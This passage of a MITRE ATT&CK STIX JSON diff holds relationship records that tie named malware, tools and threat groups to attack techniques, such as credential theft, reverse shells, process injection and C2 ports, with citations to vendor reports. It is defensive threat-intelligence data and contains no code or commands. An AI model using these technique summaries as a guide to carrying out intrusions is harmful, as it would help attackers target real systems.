"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--31cd4eb1-f7b3-4030-b087-388d55faba03", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getInfoOSX function to return the OS X version as well as the current user.(Citation: XAgentOSX 2017)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2019-07-26T23:07:21.338Z", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/", + "description": "Robert Falcone. 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Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2d1beee9-0b61-4e66-9487-97f1665bbedc", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) lists the running processes.(Citation: McAfee Gold Dragon)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2020-04-21T23:09:31.573Z", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7e221899-d90a-4c9a-8ea4-77110c45f0f9", + "description": "Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses multiple channels for C2, such as RomeoWhiskey-Two, which consists of a RAT channel that parses data in datagram form and a Proxy channel that forms virtual point-to-point sessions.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)", + "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091", + "modified": "2019-09-09T19:15:45.673Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.068Z", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. 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Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--52e319bc-d6ee-4ab5-a3ae-36f0477cac67", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has distributed targeted emails containing links to malicious documents with embedded macros.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "modified": "2019-03-22T20:21:57.786Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a68efc4c-4e5d-448a-8df4-2cf1980e716e", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the IP address from the victim's machine.(Citation: Talos Cobalt Group July 2018)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2019-09-16T19:41:10.245Z", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", + "description": "Svajcer, V. (2018, July 31). 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Retrieved July 16, 2020.", + "source_name": "ESET InvisiMole June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5cceffd9-5818-4481-bce6-4e326548d6b4", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the number of removable drives from the victim.(Citation: Palo Alto MoonWind March 2017)", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "modified": "2020-03-16T17:16:53.454Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/", + "description": "Miller-Osborn, J. and Grunzweig, J.. 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Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a95c8f0a-a7ba-4af0-b3ac-5abaf44ff563", + "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials in files for 1password.(Citation: objsee mac malware 2017)", + "target_ref": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", + "modified": "2021-01-22T16:19:13.138Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ee998ebb-2960-45db-bced-7c8081dfc030", + "description": "[Proton](https://attack.mitre.org/software/S0279) uses macOS' .command file type to script actions.(Citation: objsee mac malware 2017)", + "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", + "modified": "2020-06-12T17:37:53.694Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--761edf58-baad-4626-acca-a137c251b0e6", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) can delete itself or specified files.(Citation: Palo Alto MoonWind March 2017)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-03-16T17:16:53.515Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. 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Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--51742efe-5f0c-4fbf-9eb7-5e765a0a408f", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can ping or traceroute a remote host.(Citation: Kaspersky ProjectSauron Technical Analysis)", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "modified": "2020-03-11T17:45:33.769Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--312c929a-abf6-44c1-95d6-6dde60c7a3fe", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can query Registry keys for potential opportunities.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "modified": "2019-04-24T23:43:08.263Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5070c502-1f3b-4e8c-8eb5-2ea5379fd8f4", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) collects data stored in the clipboard.(Citation: Unit 42 VERMIN Jan 2018)", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "modified": "2020-03-16T19:50:58.017Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/", + "description": "Lancaster, T., Cortes, J. (2018, January 29). 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(2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--acdc53fa-91d6-4417-bc7b-83c220ec9fae", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) has a command to delete a specified file.(Citation: Mandiant APT1 Appendix)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2019-02-12T21:28:19.649Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T15:27:06.723Z", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. 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(2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "source_name": "TrendMicro Lazarus Nov 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a5b4d08c-963a-48fe-8f22-ba344835d00e", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) has a command to download an .exe and use process hollowing to inject it into a new process.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)", + "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", + "modified": "2020-03-16T15:59:20.580Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon" + }, + { + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--319dbc0e-5026-4796-bfd9-43ef3d30eb8d", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook.(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater June 2019)", + "target_ref": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", + "modified": "2020-05-21T12:58:00.382Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T17:33:40.954Z", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf", + "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020.", + "source_name": "ClearSky MuddyWater June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2c44970b-616d-401e-b9ed-72ac39ca5709", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has collected the hostname, OS version, service pack version, and the processor architecture from the victim\u2019s machine.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2021-04-05T20:52:47.631Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T17:43:28.295Z", + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + }, + { + "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/", + "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . 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(2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e3be5269-92fd-488e-be35-ddc91030f7c3", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) decodes its secondary payload and writes it to the victim\u2019s machine. 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Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e73efb12-ee40-4896-8df6-c0c8b6cb0c92", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) executes batch scripts on the victim\u2019s machine, and can launch a reverse shell for command execution.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-20T17:15:24.054Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. 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(2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "source_name": "Trend Micro Daserf Nov 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--47a95ac1-e37a-40ea-bf1e-e99ff4483998", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) is capable of stealing Outlook passwords.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", + "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "modified": "2020-03-19T23:24:34.808Z", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). 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Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d72da887-5684-47ac-958a-84b3e8b59c0b", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) communicates with its C2 domain over ports 443 and 8443.(Citation: Symantec Suckfly May 2016)", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "source_name": "Symantec Suckfly May 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--33e3573b-0f18-417c-be17-727863fc21ec", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) can obtain the date and time of a system.(Citation: Talos GravityRAT)", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "modified": "2019-04-24T23:21:59.301Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--73db6a54-2270-431b-b7eb-2c5c71389637", + "description": "[Orz](https://attack.mitre.org/software/S0229) can download files onto the victim.(Citation: Proofpoint Leviathan Oct 2017)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2019-09-16T18:01:16.139Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1a04e8c4-f697-446b-810a-8162ad7353ef", + "description": "[Orz](https://attack.mitre.org/software/S0229) has used Technet and Pastebin web pages for command and control.(Citation: Proofpoint Leviathan Oct 2017)", + "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "modified": "2020-03-20T21:21:52.179Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9420e9de-cc4c-4d5c-b40f-02c57dcc4fd9", + "description": "[Forfiles](https://attack.mitre.org/software/S0193) can be used to act on (ex: copy, move, etc.) files/directories in a system during (ex: copy files into a staging area before).(Citation: \u00dcberwachung APT28 Forfiles June 2015)", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/", + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "source_name": "\u00dcberwachung APT28 Forfiles June 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4b23ac99-3761-46f0-ad5d-2cf63a95036a", + "description": "[S-Type](https://attack.mitre.org/software/S0085) primarily uses port 80 for C2, but falls back to ports 443 or 8080 if initial communication fails.(Citation: Cylance Dust Storm)", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "modified": "2020-02-11T16:29:35.487Z", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fc3ec682-31cc-4e74-8d04-a5fdef9e8410", + "description": "[HOMEFRY](https://attack.mitre.org/software/S0232) uses a command-line interface.(Citation: FireEye Periscope March 2018)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-20T02:23:54.389Z", + "source_ref": "malware--7451bcf9-e6e6-4a70-bc3d-1599173d0035", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ab62293d-8f89-46b5-bab1-f7b564f5996f", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) encrypts collected data with AES and Base64 and then sends it to the C2 server.(Citation: FireEye FELIXROOT July 2018)", + "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", + "modified": "2020-03-30T02:52:44.822Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0d989c2e-0207-4412-b52a-5d9bf9f96d18", + "description": "In one instance, [menuPass](https://attack.mitre.org/groups/G0045) added [PlugX](https://attack.mitre.org/software/S0013) as a service with a display name of \"Corel Writing Tools Utility.\"(Citation: FireEye APT10 April 2017)", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "modified": "2020-03-18T15:34:10.609Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": 